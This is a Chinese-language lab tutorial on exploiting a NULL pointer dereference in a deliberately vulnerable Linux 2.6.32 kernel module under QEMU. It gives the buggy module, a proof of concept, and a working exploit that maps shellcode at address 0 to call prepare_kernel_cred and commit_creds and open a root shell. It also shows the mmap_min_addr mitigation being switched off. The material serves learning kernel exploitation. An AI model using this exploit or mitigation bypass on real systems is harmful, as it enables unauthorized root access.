新手玩转Linux Kernel漏洞之Null Pointer Dereference

前言

这是我内核漏洞的入门篇, 不是很复杂, 希望能给徘徊在门外的小伙伴一点启发.

漏洞描述

A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

漏洞代码

#include <linux/module.h>#include <linux/kernel.h>#include <linux/proc_fs.h>void (*my_funptr)(void);int bug1_write(struct file* file, const char* buf, unsigned long len){my_funptr();return len;}static int __int null_dereference_init(void){printk(KERN_ALERT "null_dereference driver init!\n");create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;return 0;}static void __exit null_dereference_exit(void){printk(KERN_ALERT "null_dereference driver exit\n");}module_init(null_dereference_init);module_exit(null_dereference_exit);

小结:这是一个Linux Kernel Module类型代码,载入内核执行初始化null_dereference_init. 在proc中创建一个Entry为bug1.当write bug1时, 会触发Kernel调用bug1_write函数,而bug1_write中的my_funptr()是一个空指针.建议大家去学习一下这段代码中不懂的点, 理解上面这段代码很是重要

编译Module

obj-m := null_dereference.oKERNELDR := /home/bill/CTF/Kernel/linux-2.6.32/PWD := $(shell pwd)modules:$(MAKE) -C $(KERNELDR) M=$(PWD) modulesmodules_install:$(MAKE) -C $(KERNELDR) M=$(PWD) modules_installclean:$(MAKE) -C $(KERNELDR) M=$(PWD) clean

需要注意的几点:KERNELDR填写为自己机器的源码根目录, 我自己在Ubuntu 12.04 i386上面没有编译成功, 在Ubuntu 16.04 64bit上面编译成功了.

将null_dereference.ko放入到busybox-1.19.4/_install/usr中.

Poc.c

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <string.h>#include <sys/mman.h>char payload[] = "\xe9\xea\xbe\xad\xde"; //jmp 0xdeadbeefint main(){mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(0, payload, sizeof(payload));int fd = open("/proc/bug1", O_WRONLY);write(fd, "bill", 4); //call my_funptrreturn 0;}

静态编译,放入busybox-1.19.4/_install/usr中,gcc -static Poc.c -o Poc.

调试

重新打包rootfs.img, 启动Qemu,CTRL + ALT + 2, 输入gdbserver tcp::1234,

CTRL + ALT + 1切回命令行,

insmod /usr/null_dereference.ko #载入Module/usr/Poc

结果:

结论:证明执行了我们的shellcode.

提权

从普通用户提权到root用户.

知识点

进程的特权等级是通过struct cred结构体来标识的.当一个进程的uid,gid为0, 就表明这是一个root进程,提权成功.

struct cred {atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALSatomic_t subscribers; /* number of processes subscribed */void *put_addr;unsigned magic;#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endifuid_t uid; /* real UID of the task */gid_t gid; /* real GID of the task */uid_t suid; /* saved UID of the task */gid_t sgid; /* saved GID of the task */uid_t euid; /* effective UID of the task */gid_t egid; /* effective GID of the task */uid_t fsuid;/* UID for VFS ops */gid_t fsgid;/* GID for VFS ops */......}

Expolit

/**prepare_kernel_cred - Prepare a set of credentials for a kernel service*/struct cred *prepare_kernel_cred(struct task_struct *daemon);/** commit_creds - Install new credentials upon the current task*/int commit_creds(struct cred* new)

获取函数地址

/# grep prepare_kernel_cred /proc/kallsymsc1069be0 T prepare_kernel_cred/# grep commit_creds /proc/kallsymsc1069a40 T commit_creds

编写shellcode

xor %eax, %eaxcall 0xc1069be0 //prepare_kernel_credcall 0xc1069a40 //commit_credsret

保存为payload.s

$ gcc payload.s -o payload -nostdlib -Ttext=0$ objdump -d payload00000000 <.text>:0: 31 c0 xor %eax,%eax2: e8 d9 9b 06 c1call c1069be0 <_end+0xc1068bd0>7: e8 34 9a 06 c1call c1069a40 <_end+0xc1068a30>c: c3 char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";

编写exp.c

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <string.h>#include <sys/mman.h>/**xor %eax, %eax*call 0xc1069be0*call 0xc1069a40*ret*/char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";int main(){mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(0, payload, sizeof(payload));int fd = open("/proc/bug1", O_WRONLY);write(fd, "bill", 4); //call my_funptrsystem("/bin/sh");return 0;}

编译:gcc -static exp.c -o exp, 拷贝入’/usr’目录, 重新打包.

4. 提权

由于内核已经使用mmap_min_addr作为缓解措施, 我们需要让你重新为0.

#/ sysctl -w "vm.mmap_min_addr=0"#/ mdkir -p /home/bill#/ touch /etc/passwd#/ touch /etc/group#/ adduser bill#/ insmod /usr/null_dereference.ko#/ su bill~$ /usr/exp/home/bill #

结果图:

相关链接

pwn4

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